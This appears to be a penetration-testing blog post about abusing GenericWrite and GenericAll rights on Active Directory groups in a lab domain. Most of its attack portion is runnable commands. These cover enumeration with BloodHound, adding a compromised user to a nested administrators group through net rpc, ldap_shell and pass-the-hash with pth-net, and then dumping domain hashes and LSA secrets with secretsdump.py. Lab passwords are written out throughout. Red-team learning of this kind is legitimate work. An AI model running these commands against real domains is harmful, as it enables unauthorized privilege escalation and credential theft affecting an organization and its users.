Post

DACL Abusing GenericWrite on AD Group Objects

DACL Abusing GenericWrite on AD Group Objects

Acknowledgements and Resources

This is by no means a new technique. In fact, it is widely known and frequently used in offensive security. I chose to write about it to help fill any practical gaps for those who may understand the theory but struggle with real world exploitation. My aim is to show you how to identify the misconfiguration and demonstrate multiple methods to exploit it effectively. During my research, thehacker.recipes proved to be an incredibly useful resource. If you have not visited it yet, I highly recommend doing so.

About

Access in Active Directory is controlled using Access Control Entries (ACEs), which define allowed or denied permissions for users or computers on specific objects like users, groups, or OUs. These ACEs form part of Discretionary Access Control Lists (DACLs), which manage permissions, while System Access Control Lists (SACLs) handle auditing. Misconfigured ACEs can be exploited for lateral movement or privilege escalation within a domain.

The following attacks should be considered when the controlled object has any of the following ACLs over a target group object:

  • GenericAll
  • GenericWrite
  • Self
  • AllExtendedRights
  • Self-Membership

Set up ACL Misconfiguration in Lab

To apply the misconfigured permissions, open PowerShell as Administrator on the Domain Controller (DC) and run the commands below. Amend accordingly to your target domain information.

Note: In my lab, I have not set up a dedicated Groups OU, therefore, if there is no dedicated OU specified when creating groups, Active Directory (AD) will place the group in the default Users container.

Set owned user with GenericWrite on target group:

1
dsacls "CN=TestingNestingAdministratorsGroup,CN=Users,DC=north,DC=sevenkingdoms,DC=local" /G north\jaremy.rykker:GW

Set owned user with GenericAll on target group:

1
dsacls "CN=TestingNestingAdministratorsGroup,CN=Users,DC=north,DC=sevenkingdoms,DC=local" /G north\jaremy.rykker:GA

Remove all Access Control Entries (ACE) for owned user on target group The below command will remove any ACEs for jaremy.rykker on TestingNestingAdministratorsGroup group.

1
dsacls "CN=TestingNestingAdministratorsGroup,CN=Users,DC=north,DC=sevenkingdoms,DC=local" /R north\jaremy.rykker

Scenario

In this scenario, we have compromised a low privileged user, jaremy.rykker, who has GenericWrite or GenericAllpermissions over a privileged group object, TestingNestingAdministratorsGroup. Although jaremy.rykker is a standard user, this permission allows us to modify certain attributes on TestingNestingAdministratorsGroup, such as its membership. Since TestingNestingAdministratorsGroup is already a member of the built-in Administrators group, adding jaremy.rykker as a member of this nested group results in immediate privilege escalation. This works because GenericWrite grants control over the group object, including its membership, allowing us to insert our low privileged user into a highly privileged path.

Dump Active Directory with Bloodhound.py

ACL Relationships Only

1
python3 bloodhound.py -u jaremy.rykker -p 'Winter123!' -d north.sevenkingdoms.local -c ACL -dc winterfell --zip

Dump Everything

1
python3 bloodhound.py -u jaremy.rykker -p 'Winter123!' -d north.sevenkingdoms.local -c All -dc winterfell --zip

Enumerating GenericWrite/GenericAll From Compromised User in BloodHound

In BloodHound, we search for the name of our compromised account. Once found, we click on the user and view the Node Info to get a wealth of information about our user. We scroll down to Outbound Object Control. The Outbound Object Control Set will show the number of objects that the current object can control via ACL-based permissions, if any.

In the image below, we can see that jaremy.rykker has a single Outbound Object Control Set. When clicking on the entry within BloodHound, we can see that jaremy.rykker has GenericWrite permissions on TestingNestingAdministratorsGroup. BH-dacl-gw-on-group

Another view to see any attack paths from the user jaremy.rykker is to click on Reachable High Value Targets, if any, from the Node Info. This presents a graph outlining the attack path and indicates that the path uses GenericWrite from jaremy.rykker to TestingNestingAdministratorsGroup, which is already a member of the built-in Administrators group.

The image below shows the attack path being laid out by BloodHound when selecting Reachable High Value Targets. BH-dacl-gw-on-group

If we take a look at the TestingNestingAdministratorsGroup membership, we can see that it is a member of the Administrators group. BH-dacl-gw-on-group

Exploiting GenericWrite on Group Add User to Group

Now that we have established that our compromised user has GenericWrite over the TestingNestingAdministratorsGroup group, we are free to add our compromised user jaremy.rykker to the TestingNestingAdministratorsGroup group.

There are multiple methods to achieve this. We will explore three separate methods. All three approaches will focus on adding the user to a group from a non-domain joined system, as CMD/PowerShell access is not always guaranteed, even with compromised credentials.

Method 1 - Add Member on Linux Using Net Utility

The net utility is commonly used for administering Samba and CIFS/SMB clients. In this context, we can leverage it to add our user to the target group, taking advantage of the misconfigured permissions.

The image below shows an ldapsearch query used to list the current memberships of the target group TestingNestingAdministratorsGroup. As seen in the output, the group membership is currently empty dacl-group-query

Net Rpc Command:

1
net rpc group addmem "Target_Group_Name_To_Add_Account" Target_Compromised_Account -U FQDN/username%'Password' -S DomainControlelr_HostName_or_IP_address

The below image shows the successful execution of the net utility, which adds the user jaremy.rykker to the group TestingNestingAdministratorsGroup. If the command is successful, you will not receive any output. dacl-group-net-util

Querying the group membership as we did before using ldapsearch now shows that our user jaremy.rykker is a member of the TestingNestingAdministratorsGroup. See image below.

Ldapsearch Query:

1
ldapsearch -x -H ldap://192.168.1.154 -D 'jaremy.rykker@north.sevenkingdoms.local' -w 'Winter123!' -b "DC=north,DC=sevenkingdoms,DC=LOCAL" "(sAMAccountName=TestingNestingAdministratorsGroup)" member 

dacl-group-query

Method 2 - Add Group Member Using Ldap_shell

Ldap_shell is a fork of Impacket that provides an interactive shell for Active Directory enumeration and manipulation via LDAP/LDAPS protocols.

Ldap_Shell Github:

  • https://github.com/PShlyundin/ldap_shell

Authenticate to DC Using Ldap_shell

Run ldap_shell and authenticate to the domain controller.

1
ldap_shell 'domain/CompromisedUserName:Password' -dc-ip DC_IP

dacl-ldapshell

Add User to Group Using Ldap_shell

Run the add_user_to_group command with the appropriate parameters.

1
add_user_to_group user targetgroup

dacl-ldapshell

Verify Group Membership Using Ldap_shell

We can verify our user is now a group member by using the ldap_shell get_group_users command.

List Group Memberships Using Ldap_shell Command

1
get_group_users TestingNestingAdministratorsGroup

dacl-ldapshell

Method 3 - Passing-the-Hash

We can use the tool passing-the-hash (pth) to add the user to the target group.

In order to use pth, we obviously need a hash. Since we have a compromised user, we likely already know the password. We can generate an NT hash using a simple Python one-liner. This involves including a padding value (usually aad3b435b51404eeaad3b435b51404ee) for the LM hash, and the actual NT hash in the second part.

Python One-liner to Create NT Hash:

1
python3 -c "import hashlib; pwd='ThePassword'; print(f'00000000000000000000000000000000:{hashlib.new(\"md4\", pwd.encode(\"utf-16le\")).hexdigest()}')"

dacl-pth

Add User to Group with Pth-Net

Now that we have a NT hash of the known password, we can use pth-net command to add our user to the target group.

Pth-net Command:

1
pth-net rpc group addmem TargetGroup UserToAdd -U domain/UserName%00000000000000000000000000000000:NTHash -S DomainController

dacl-pth

Verify Group Membership with Ldapsearch

Ldapsearch Command:

1
ldapsearch -x -H ldap://192.168.1.154 -D 'jaremy.rykker@north.sevenkingdoms.local' -w 'Winter123!' -b "DC=north,DC=sevenkingdoms,DC=LOCAL" "(sAMAccountName=TestingNestingAdministratorsGroup)" member 

dacl-pth

Dump Hashes and Lsa Secrets Using Secretsdump.py

Now that our user is a member of a nested administrators group, we can unleash the power of secretsdump.py to harvest domain hashes for the power, glory!!

Secretsdump Command:

1
python3 secretsdump.py north/jaremy.rykker@192.168.1.154

dacl-pth

And that’s it! Hopefully, if you were unsure how to approach this attack path, this blog has filled in the gaps. Next time you come across this type of misconfiguration, you’ll know exactly how to own it.

This post is licensed under CC BY 4.0 by the author.